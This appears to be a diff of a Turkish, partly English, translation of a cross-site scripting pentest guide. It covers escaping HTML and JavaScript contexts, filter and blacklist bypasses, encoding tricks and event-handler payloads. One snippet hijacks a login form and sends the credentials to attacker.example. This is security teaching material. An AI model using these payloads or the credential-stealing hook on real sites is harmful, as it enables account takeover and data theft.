-- Eğer yansıma **inside a JS string** içinde ise ve son hile işe yaramıyorsa, string'ten **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata olursa, çalıştırılmaz:
+- Eğer girdiniz **`<script> [...] </script>`** etiketleri arasına yansıtıldıysa, girişiniz herhangi bir tür tırnak içinde olsa bile `</script>` enjekte ederek bu bağlamdan çıkmayı deneyebilirsiniz. Bu, **tarayıcı önce HTML etiketlerini ayrıştıracağı** ve sonra içeriği işleyeceği için çalışır; dolayısıyla enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmez.
+- Eğer **inside a JS string** içinde yansıtıldıysa ve önceki numara işe yaramıyorsa, string'ten **exit** etmeniz, kodunuzu **execute** etmeniz ve JS kodunu **reconstruct** etmeniz gerekir (herhangi bir hata olursa kod çalıştırılmaz:
 - `'-alert(1)-'`
 - `';-alert(1)//`
 - `\';alert(1)//`
-- Eğer template literals içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadeleri** yerleştirebilirsiniz: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode encode** geçerli javascript kodu yazmak için işe yarar:
+- Eğer template literals içinde yansıtıldıysa, `${ ... }` sözdizimini kullanarak **JS ifadelerini embed** edebilirsiniz: `var greetings = `Hello, ${alert(1)}``
+- **Unicode encode** geçerli **javascript code** yazmak için işe yarar:
 ```javascript
 alert(1)
 alert(1)
@@ -85,7 +86,7 @@ alert(1)
 ```
 #### Javascript Hoisting
 
-Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra bildirmenize olanak tanıyan bir durumdur; bu sayede bir XSS'in bildirimi yapılmamış değişkenler veya fonksiyonlar kullandığı senaryolardan faydalanabilirsiniz.**\
+Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra bildirebilme imkânını ifade eder; bu, bir XSS'in bildirilmeyen değişkenleri veya fonksiyonları kullandığı senaryoları istismar etmenizi sağlar.\
 **Daha fazla bilgi için şu sayfayı inceleyin:**
 
 
@@ -95,19 +96,19 @@ js-hoisting.md
 
 ### Javascript Function
 
-Birçok web sayfası, çalıştırılacak fonksiyonun adını parametre olarak kabul eden endpointlere sahiptir. Gerçekte sık gördüğünüz yaygın bir örnek şuna benzer: `?callback=callbackFunc`.
+Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
 
-Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalıştırılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmek (ör. 'Vulnerable' yapmak) ve konsolda şu tür hatalara bakmaktır:
+Kullanıcıdan doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalıştırılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmek** (ör. 'Vulnerable') ve console'da şu tür hatalara bakmaktır:
 
 ![](<../../images/image (711).png>)
 
-Eğer zafiyet varsa, sadece değeri göndererek bir uyarı tetikleyebilirsiniz: **`?callback=alert(1)`**. Ancak, bu endpointlerin içeriği genellikle sadece harf, rakam, nokta ve alt çizgiye izin verecek şekilde doğruladığını görmek yaygındır (**`[\w\._]`**).
+Eğer vulnerable ise, yalnızca şu değeri göndererek bir **alert tetikleyebilirsiniz**: **`?callback=alert(1)`**. Ancak bu endpoint'lerin içeriği genellikle sadece harf, rakam, nokta ve alt çizgi (**`[\w\._]`**) kabul edecek şekilde **doğrulama** yaptığını görmek yaygındır.
 
-Ancak, bu sınırlama olsa bile bazı işlemleri gerçekleştirmek hâlâ mümkündür. Bunun nedeni, geçerli karakterleri DOM'daki herhangi bir elemana erişmek için kullanabilmenizdir:
+Ancak bu sınırlama olsa bile bazı işlemleri gerçekleştirmek mümkün. Bunun sebebi, bu geçerli karakterleri kullanarak DOM'daki herhangi bir elemana **erişebilmeniz**dir:
 
 ![](<../../images/image (747).png>)
 
-Bunun için bazı faydalı fonksiyonlar:
+Bazı faydalı fonksiyonlar için:
 ```
 firstElementChild
 lastElementChild
@@ -158,7 +159,7 @@ server-side-xss-dynamic-pdf.md
 
 When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
 For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***
+_**Not: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_
 
 In this case and if no black/whitelisting is used, you could use payloads like:
 ```html
@@ -168,8 +169,8 @@ alert(1)
 <img src="x" onerror="alert(1)" />
 <svg onload=alert('XSS')>
 ```
-Ancak, tags/attributes için kara/beyaz listeleme kullanılıyorsa, oluşturabileceğiniz tags'leri **brute-force** etmeniz gerekir.\
-İzinli tags'leri **bulduktan** sonra, bulunan geçerli tags içinde bağlamı nasıl istismar edebileceğinizi görmek için **brute-force attributes/events** yapmanız gerekir.
+Ama, eğer tags/attributes black/whitelisting kullanılıyorsa, hangi tags'leri oluşturabileceğinizi **brute-force** ile tespit etmeniz gerekir.\  
+Hangi tags'lerin izinli olduğunu **bulduktan** sonra, bulunduğunuz geçerli tags içinde hangi attributes/events'in kullanılabildiğini **brute-force** ederek bağlama nasıl saldırabileceğinizi görmelisiniz.
 
 ### Tags/Events brute-force
 
@@ -177,13 +178,13 @@ Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**
 
 ### Custom tags
 
-If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
+Eğer hiçbir geçerli HTML tag'i bulamadıysanız, **custom tag** oluşturmaya çalışabilir ve `onfocus` attribute'u ile JS kodu çalıştırabilirsiniz. XSS isteğinde, URL'yi `#` ile sonlandırmanız gerekir; bu sayfanın o nesneye **focus** olmasını ve kodu **execute** etmesini sağlar:
 ```
 /?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
 ```
 ### Blacklist Bypasses
 
-Eğer bir tür blacklist kullanılıyorsa, bazı basit hilelerle bunu bypass etmeyi deneyebilirsiniz:
+Eğer bir tür blacklist kullanılıyorsa, onu bazı basit hilelerle bypass etmeyi deneyebilirsiniz:
 ```javascript
 //Random capitalization
 <script> --> <ScrIpT>
@@ -240,24 +241,24 @@ onerror=alert`1`
 <!-- Taken from the blog of Jorge Lajara -->
 <svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
 ```
-Sonuncusu 2 Unicode karakteri kullanıyor ve 5'e genişliyor: telsr\
+Sonuncusu 2 unicode karakteri kullanıyor ve 5'e genişliyor: telsr\
 More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
-Hangi karakterlere ayrıldığını kontrol etmek için [here](https://www.compart.com/en/unicode/U+2121).
+To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
 
 ### Click XSS - Clickjacking
 
-Eğer zafiyeti istismar etmek için **kullanıcının önceden doldurulmuş bir linke veya forma** tıklaması gerekiyorsa, [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (sayfa zafiyetse) yöntemini deneyebilirsiniz.
+Eğer açığı istismar etmek için kullanıcının önceden doldurulmuş verilerle bir **linke veya forma tıklaması** gerekiyorsa, [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) (eğer sayfa savunmasızsa) deneyebilirsiniz.
 
 ### Impossible - Dangling Markup
 
-Eğer **JS kodu çalıştırmak için bir attribute'a sahip HTML etiketi oluşturmanın imkansız** olduğunu düşünüyorsanız, [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) sayfasını kontrol etmelisiniz çünkü zafiyeti **JS** çalıştırmadan **istismar** edebilirsiniz.
+Eğer sadece **HTML tagi içinde bir attribute ile JS kodu çalıştırmanın imkansız olduğunu** düşünüyorsanız, [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) kontrol etmelisiniz çünkü açığı **exploit** ederek **JS** çalıştırmadan faydalanabilirsiniz.
 
 ## HTML etiketi içine enjeksiyon
 
 ### Etiket içinde / attribute değerinden kaçış
 
-Eğer **bir HTML etiketinin içindeyseniz**, yapabileceğiniz ilk şey etiketten **kaçmak** ve JS kodu çalıştırmak için [previous section](#injecting-inside-raw-html) bölümünde bahsedilen tekniklerden bazılarını kullanmaktır.\
-Eğer etiketten **kaçamıyorsanız**, JS kodu çalıştırmayı denemek için etiket içinde yeni attribute'lar oluşturabilirsiniz; örneğin şu payload gibi ( _bu örnekte attribute'tan kaçmak için double quotes kullanılıyor; girdiniz doğrudan etiket içinde yansıtılıyorsa bunlara ihtiyacınız olmayacak_ ):
+Eğer **HTML etiketi içinde** iseniz, ilk deneyeceğiniz şey etiketten **kaçmak** ve JS kodu çalıştırmak için [previous section](#injecting-inside-raw-html)da bahsedilen tekniklerden bazılarını kullanmak olabilir.\
+Eğer etiketten **kaçamazsanız**, JS kodu çalıştırmayı denemek için etiket içine yeni attribute'lar oluşturabilirsiniz; örneğin şöyle bir payload kullanarak (_bu örnekte attribute'dan kaçmak için çift tırnak kullanıldığına dikkat edin; girdiniz doğrudan etiketin içine yansıtılıyorsa bunlara ihtiyacınız olmaz_):
 ```bash
 " autofocus onfocus=alert(document.domain) x="
 " onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@@ -274,14 +275,14 @@ Eğer etiketten **kaçamıyorsanız**, JS kodu çalıştırmayı denemek için e
 ```
 ### Öznitelik içinde
 
-Öznitelikten **kaçamıyor olsanız bile** (`"` kodlanıyor veya siliniyor), değerin **hangi öznitelikte** yansıtıldığına ve **değerin tamamını mı yoksa yalnızca bir kısmını mı kontrol ettiğinize** bağlı olarak bunu kötüye kullanabilirsiniz. **Örneğin**, `onclick=` gibi bir event'i kontrol ediyorsanız, tıklandığında rastgele kod çalıştırmasını sağlayabilirsiniz.\
-Başka ilginç bir **örnek** ise `href` özniteliğidir; burada `javascript:` protokolünü kullanarak rastgele kod çalıştırabilirsiniz: **`href="javascript:alert(1)"`**
+Even if you **cannot escape from the attribute** (`"` is being encoded or deleted), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.\
+Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
 
-**Event içinde Bypass: HTML encoding/URL encode kullanarak**
+**Bypass inside event using HTML encoding/URL encode**
 
-HTML etiketlerinin öznitelik değerleri içindeki **HTML kodlanmış karakterler** çalışma zamanında **çözümlenir**. Bu nedenle aşağıdakine benzer bir şey geçerli olacaktır (payload kalın olarak gösterilmiştir): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
+The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid (the payload is in bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
 
-Her tür **HTML encode** geçerlidir:
+Note that **any kind of HTML encode is valid**:
 ```javascript
 //HTML entities
 &apos;-alert(1)-&apos;
@@ -298,7 +299,7 @@ Her tür **HTML encode** geçerlidir:
 <a href="&#106;avascript:alert(2)">a</a>
 <a href="jav&#x61script:alert(3)">a</a>
 ```
-**URL encode'in de çalışacağını unutmayın:**
+**Not: URL encode de çalışacaktır:**
 ```python
 <a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
 ```
@@ -308,9 +309,9 @@ Her tür **HTML encode** geçerlidir:
 <img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
 <img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
 ```
-### Öznitelik İçindeki Özel Protokoller
+### Öznitelik içinde özel protokoller
 
-Öznitelik içinde bazı yerlerde **`javascript:`** veya **`data:`** protokollerini kullanarak **JS code** çalıştırabilirsiniz. Bazıları kullanıcı etkileşimi gerektirir, bazıları gerektirmez.
+Orada bazı yerlerde protokoller **`javascript:`** veya **`data:`** kullanarak **keyfi JS kodu çalıştırabilirsiniz**. Bazıları kullanıcı etkileşimi gerektirecek, bazıları gerektirmeyecek.
 ```javascript
 javascript:alert(1)
 JavaSCript:alert(1)
@@ -332,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 ```
 **Bu protokolleri enjekte edebileceğiniz yerler**
 
-**Genel olarak** `javascript:` protokolü **`href` özniteliğini kabul eden herhangi bir etikette kullanılabilir** ve **çoğu** **`src` özniteliğini** kabul eden etiketlerde de kullanılabilir (ancak `<img>`'de değil)
+**Genel olarak** `javascript:` protokolü **`href` özniteliğini kabul eden herhangi bir etikette kullanılabilir** ve **çoğu** `src` özniteliğini kabul eden etikette de kullanılabilir (ancak `<img>` değil).
 ```html
 <a href="javascript:alert(1)">
 <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@@ -352,23 +353,23 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
 <embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
 <iframe srcdoc="<svg onload=alert(4);>">
 ```
-**Diğer obfuscation tricks**
+**Diğer obfuscation hileleri**
 
-_**Bu durumda önceki bölümdeki HTML encoding ve Unicode encoding trick de geçerlidir çünkü bir öznitelik içinde bulunuyorsunuz.**_
+_**Bu durumda önceki bölümdeki HTML encoding ve Unicode encoding hilesi de geçerlidir çünkü bir öznitelik içinde bulunuyorsunuz.**_
 ```javascript
 <a href="javascript:var a='&apos;-alert(1)-&apos;'">
 ```
-Üstelik, bu durumlar için başka bir **güzel hile** daha var: **`javascript:...` içindeki girdiniz URL encode ediliyor olsa bile, yürütülmeden önce URL decode edilir.** Yani, eğer **kaçmanız** gerekiyorsa **dizeden** **tek tırnak** kullanarak ve **URL encode edildiğini** görüyorsanız, şunu unutmayın: **önemi yok,** **yürütme** sırasında **tek tırnak** olarak **yorumlanacaktır**.
+Ayrıca, bu durumlar için başka bir **güzel hile** daha var: **`javascript:...` içindeki girdiniz URL encoded olsa bile, çalıştırılmadan önce URL decoded edilecektir.** Dolayısıyla, **single quote** kullanarak **string**'den **escape** etmeniz gerekiyorsa ve **it's being URL encoded** olduğunu görürseniz, unutmayın ki **önemli değil,** **execution** sırasında **single quote** olarak **interpreted** edilecektir.
 ```javascript
 &apos;-alert(1)-&apos;
 %27-alert(1)-%27
 <iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
 ```
-Unutmayın ki eğer herhangi bir sırayla `URLencode + HTMLencode`'i **her ikisini de kullanmayı** deneyerek **payload**'ı kodlamaya çalışırsanız, bu **çalışmayacaktır**, ancak **payload** içinde onları **karıştırabilirsiniz**.
+Dikkat: eğer **her ikisini de** `URLencode + HTMLencode`'i herhangi bir sırayla kullanarak **payload**'ı encode etmeye çalışırsanız bu **çalışmayacaktır**, ancak **payload içinde bunları karıştırabilirsiniz**.
 
-`javascript:` ile Hex ve Octal encode kullanımı
+**Hex ve Octal encode'i `javascript:` ile kullanma**
 
-En azından `iframe`'in `src` özniteliği içinde **Hex** ve **Octal encode** kullanarak **HTML tags to execute JS** tanımlayabilirsiniz:
+En azından `iframe`'in `src` özniteliği içinde **Hex** ve **Octal encode** kullanarak JS çalıştıracak **HTML taglarını** belirtebilirsiniz:
 ```javascript
 //Encoded: <svg onload=alert(1)>
 // This WORKS
@@ -384,16 +385,17 @@ En azından `iframe`'in `src` özniteliği içinde **Hex** ve **Octal encode** k
 ```javascript
 <a target="_blank" rel="opener"
 ```
-Rastgele bir **`<a href=`** etiketine herhangi bir URL enjekte edebiliyorsanız ve bu etiket **`target="_blank" and rel="opener"`** özniteliklerini içeriyorsa, bu davranışı kötüye kullanmak için **aşağıdaki sayfayı** kontrol edin:
+Eğer rastgele bir **`<a href=`** etiketi içine herhangi bir URL enjekte edebiliyorsanız ve bu etiket **`target="_blank" and rel="opener"`** özniteliklerini içeriyorsa, bu davranışı suistimal etmek için **aşağıdaki sayfayı** kontrol edin:
+
 
 {{#ref}}
 ../reverse-tab-nabbing.md
 {{#endref}}
 
-### on Olay İşleyicileri Bypass
+### on Event Handlers Bypass
 
-Öncelikle kullanışlı **"on" olay işleyicileri** için bu sayfayı kontrol edin ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
-Eğer bir blacklist bu "on" event handlers'ı oluşturmanızı engelliyorsa, aşağıdaki bypass'ları deneyebilirsiniz:
+Öncelikle faydalı **"on" event handlers** için bu sayfayı kontrol edin ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)).\
+Eğer bazı blacklist'ler bu event handler'ları oluşturmanızı engelliyorsa, aşağıdaki bypass'ları deneyebilirsiniz:
 ```javascript
 <svg onload%09=alert(1)> //No safari
 <svg %09onload=alert(1)>
@@ -408,9 +410,9 @@ Firefox: %09 %20 %28 %2C %3B
 Opera: %09 %20 %2C %3B
 Android: %09 %20 %28 %2C %3B
 ```
-### XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
+### XSS 'Unexploitable tags' içinde (hidden input, link, canonical, meta)
 
-Bu makaleye [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **göre artık hidden inputs ile şu şekilde istismar etmek mümkün:**
+[**Buradan**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **artık hidden inputs şu yöntemlerle kötüye kullanılabiliyor:**
 ```html
 <button popvertarget="x">Click me</button>
 <input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@@ -429,37 +431,37 @@ onbeforetoggle="alert(2)" />
 <button popovertarget="newsletter">Subscribe to newsletter</button>
 <div popover id="newsletter">Newsletter popup</div>
 ```
-Kaynak: [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Bir **XSS payload içinde bir hidden attribute** çalıştırabilirsiniz; bunun için **kurbanı** **tuş kombinasyonuna** basmaya **ikna etmeniz** gerekir. Firefox'ta Windows/Linux için tuş kombinasyonu **ALT+SHIFT+X**, OS X'te ise **CTRL+ALT+X**. access key attribute içinde farklı bir tuşa yer vererek farklı bir tuş kombinasyonu belirleyebilirsiniz. İşte vektör:
+Kaynak [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Bir **XSS payload hidden attribute içinde** çalıştırabilirsiniz; yeter ki **ikna edebilirseniz** **kurbanı** **tuş kombinasyonunu** basmaya. Firefox (Windows/Linux) için tuş kombinasyonu **ALT+SHIFT+X** ve OS X için **CTRL+ALT+X**'dir. access key attribute içinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirleyebilirsiniz. İşte vektör:
 ```html
 <input type="hidden" accesskey="X" onclick="alert(1)">
 ```
-**XSS payload şöyle bir şey olacak: `" accesskey="x" onclick="alert(1)" x="`**
+**XSS payload şu şekilde olacak: `" accesskey="x" onclick="alert(1)" x="`**
 
-### Kara Liste Atlatmaları
+### Blacklist Bypasses
 
-Bu bölümde farklı kodlamalar kullanılarak yapılmış birkaç hile zaten gösterildi. Nerelerde kullanabileceğinizi öğrenmek için **geri dönün:** 
+Bu bölümde farklı encoding kullanılarak yapılan birkaç hile zaten gösterildi. Geri dönerek nerede kullanabileceğinizi öğrenin:
 
-- **HTML encoding (HTML etiketleri)**
-- **Unicode encoding (geçerli JS kodu olabilir):** `\u0061lert(1)`
+- **HTML encoding (HTML tags)**
+- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
 - **URL encoding**
 - **Hex and Octal encoding**
 - **data encoding**
 
 **Bypasses for HTML tags and attributes**
 
-Önceki bölümdeki [ Blacklist Bypasses of the previous section](#blacklist-bypasses) okuyun.
+Önceki bölüme ait [ Blacklist Bypasses of the previous section](#blacklist-bypasses) kısmına bakın.
 
 **Bypasses for JavaScript code**
 
-Aşağıdaki bölümün [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques) bölümünü okuyun.
+Aşağıdaki bölümdeki [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques) kısmını okuyun.
 
 ### CSS-Gadgets
 
-Eğer web'in çok küçük bir bölümünde **XSS** bulduysanız ve bunun tetiklenmesi bir tür etkileşim gerektiriyorsa (ör. footer'daki onmouseover içeren küçük bir link), o öğenin kapladığı alanı **değiştirerek** linkin tetiklenme olasılığını maksimize etmeyi deneyebilirsiniz.
+Eğer web'in çok küçük bir kısmında etkileşim gerektiren bir **XSS** bulduysanız (ör. footer'da onmouseover içeren küçük bir link), linkin tetiklenme ihtimalini maksimize etmek için o elementin kapladığı alanı **değiştirmeyi** deneyebilirsiniz.
 
 For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
-Ancak WAF style özniteliğini filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şu CSS'i bulursanız
+Ancak WAF style attribute'u filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şunu bulursanız
 
 > .test {display:block; color: blue; width: 100%\}
 
@@ -473,21 +475,21 @@ ve
 
 Bu hile şu kaynaktan alınmıştır: [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
 
-## JavaScript kodu içine enjeksiyon
+## Injecting inside JavaScript code
 
-Bu durumda sizin **girdiniz** bir `.js` dosyasındaki JS kodu içinde veya `<script>...</script>` etiketleri arasında ya da JS kodu çalıştırabilecek HTML event'leri arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında **yansıtılacaktır**.
+Bu durumda **input**'ınız bir `.js` dosyasının JS kodu içinde veya `<script>...</script>` tagları arasında ya da JS kodu çalıştırabilen HTML event'leri arasında veya `javascript:` protokolünü kabul eden attributes arasında yansıtılacaktır.
 
 ### Escaping \<script> tag
 
-Eğer kodunuz `<script> [...] var input = 'reflected data' [...] </script>` içine yansıtılıyorsa, kolayca `<script>` kapatma etiketinden **kaçabilirsiniz**:
+Eğer kodunuz `<script> [...] var input = 'reflected data' [...] </script>` içine yansıtılıyorsa, kolayca **`</script>` kapanışını kaçırabilirsiniz:**
 ```javascript
 </script><img src=1 onerror=alert(document.domain)>
 ```
-Bu örnekte **tek tırnağı bile kapatmadığımızı** unutmayın. Bunun nedeni, **HTML ayrıştırmasının (parsing) önce tarayıcı tarafından yapılmasıdır**, bu işlem sayfa öğelerinin, script blokları dahil olmak üzere, tanımlanmasını içerir. Gömülü scriptleri anlamak ve çalıştırmak için JavaScript'in ayrıştırılması ise ancak sonrasında gerçekleştirilir.
+Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
 
 ### JS kodu içinde
 
-Eğer `<>` temizleniyorsa, girdinizin **bulunduğu** yerde string'i **escape ederek** yine de **rastgele JS çalıştırabilirsiniz**. JS sözdizimini **düzeltmek** önemlidir; çünkü herhangi bir hata varsa JS kodu çalıştırılmaz:
+Eğer `<>` filtreleniyorsa, girdinizin **bulunduğu yerde** string'i **escape ederek** yine de **herhangi bir JS çalıştırabilirsiniz**. JS sözdizimini **düzeltmek** önemlidir; çünkü herhangi bir hata olursa JS kodu çalıştırılmaz:
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -495,7 +497,7 @@ Eğer `<>` temizleniyorsa, girdinizin **bulunduğu** yerde string'i **escape ede
 ```
 #### JS-in-JS string break → inject → repair pattern
 
-Kullanıcı girdisi tırnak işaretleriyle çevrili bir JavaScript dizesinin içinde (ör. sunucu tarafı echo ile inline script içine) yerleştiğinde, dizeyi sonlandırabilir, kod enjekte edebilir ve sözdizimini geçerli tutmak için onarabilirsiniz. Genel iskelet:
+Kullanıcı girdisi alıntılanmış bir JavaScript stringinin içine düştüğünde (ör. server-side echo into an inline script), stringi sonlandırabilir, kod enjekte edebilir ve sözdizimini geçerli tutmak için onarabilirsiniz. Genel iskelet:
 ```
 "            // end original string
 ;            // safely terminate the statement
@@ -506,14 +508,14 @@ Zafiyetli parametrenin bir JS stringine yansıtıldığı durum için örnek URL
 ```
 ?param=test";<INJECTION>;a="
 ```
-Bu, HTML context'e dokunmaya gerek kalmadan saldırgan JS'i çalıştırır (pure JS-in-JS). Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.
+Bu, HTML bağlamına dokunmaya gerek kalmadan saldırgan JS'in çalıştırılmasını sağlar (saf JS-in-JS). Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.
 
 ### Template literals ``
 
-Tek tırnak ve çift tırnakların dışında **strings** oluşturmak için JS ayrıca **backticks** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **embedded JS expressions** yazmanıza izin verdiği için template literals olarak bilinir.\
-Bu yüzden, girdinizin backticks kullanan bir JS stringi içinde **reflected** olarak yer aldığını görürseniz, `${ ... }` sözdizimini kötüye kullanarak **arbitrary JS code** çalıştırabilirsiniz:
+Tekli ve çift tırnakların dışında **strings** oluşturmak için JS ayrıca **backticks** **` `` `** kabul eder. Bu, template literals olarak bilinir çünkü `${ ... }` sözdizimini kullanarak **embedded JS expressions**'e izin verir.\
+Dolayısıyla, girdinizin backticks kullanan bir JS stringinin içinde **reflected** edildiğini görürseniz, `${ ... }` sözdizimini kötüye kullanarak **arbitrary JS code** çalıştırabilirsiniz:
 
-Bu şu şekilde **kötüye kullanılabilir**:
+Bu, şu şekilde **kötüye kullanılabilir**:
 ```javascript
 ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
 ```
@@ -525,37 +527,37 @@ return loop
 }
 loop``
 ```
-### Encode edilmiş code yürütülmesi
+### Kodun kodlanarak yürütülmesi
 ```html
 <script>\u0061lert(1)</script>
 <svg><script>alert&lpar;'1'&rpar;
 <svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
 <iframe srcdoc="<SCRIPT>alert(1)</iframe>">
 ```
-#### eval(atob()) ile teslim edilebilir payloads ve scope nüansları
+#### eval(atob()) ve scope nüansları içeren teslim edilebilir payloads
 
-URL'leri daha kısa tutmak ve basit anahtar kelime filtrelerini aşmak için gerçek mantığınızı base64-encode edip `eval(atob('...'))` ile çalıştırabilirsiniz. Basit anahtar kelime filtreleri `alert`, `eval` veya `atob` gibi tanımlayıcıları engelliyorsa, tarayıcıda aynı şekilde derlenecek fakat dize-eşleştirme filtrelerinden kaçacak Unicode-escaped tanımlayıcılar kullanın:
+URL'leri daha kısa tutmak ve basit anahtar kelime filtrelerini atlatmak için gerçek mantığınızı base64 ile kodlayıp `eval(atob('...'))` ile çalıştırabilirsiniz. Basit anahtar kelime filtreleri `alert`, `eval` veya `atob` gibi identifier'ları engelliyorsa, tarayıcıda tamamen aynı şekilde derlenen ancak string-eşleştirme filtrelerinden kaçan Unicode-escaped identifiers kullanın:
 ```
 \u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
 \u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))
 ```
-Önemli kapsam nüansı: `eval()` içinde tanımlanan `const`/`let` blok kapsamındadır ve global değişken oluşturmazlar; daha sonraki script'ler tarafından erişilemezler. Gerekirse global, yeniden bağlanamayan (non-rebindable) hooks tanımlamak için dinamik olarak eklenen bir `<script>` elementi kullanın (örn. bir form handler'ını hijack etmek için):
+Önemli kapsam nüansı: `const`/`let` ile `eval()` içinde bildirilenler blok kapsamlıdır ve global oluşturmaz; daha sonraki scriptlerden erişilemezler. Gerekli olduğunda global, non-rebindable hooks tanımlamak için dinamik olarak enjekte edilmiş bir `<script>` elementini kullanın (ör. bir form handler'ı hijack etmek için):
 ```javascript
 var s = document.createElement('script');
 s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
 document.head.appendChild(s);
 ```
-Reference: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
+Referans: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
 
-### Unicode Encode JS execution
+### Unicode ile JS yürütmeyi kodlama
 ```javascript
 alert(1)
 alert(1)
 alert(1)
 ```
-### JavaScript bypass blacklists teknikleri
+### JavaScript blacklistleri atlatma teknikleri
 
-**Strings**
+**Stringler**
 ```javascript
 "thisisastring"
 'thisisastrig'
@@ -586,12 +588,12 @@ eval(8680439..toString(30))(983801..toString(36))
 "\t" //tab
 // Any other char escaped is just itself
 ```
-**JS code içindeki boşluk ikameleri**
+**JS kodu içindeki boşluk ikameleri**
 ```javascript
 <TAB>
 /**/
 ```
-**JavaScript comments (kaynak: [**JavaScript Comments**](#javascript-comments) hilesi)**
+**JavaScript yorumları (kaynak:** [**JavaScript Comments**](#javascript-comments) **trick)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
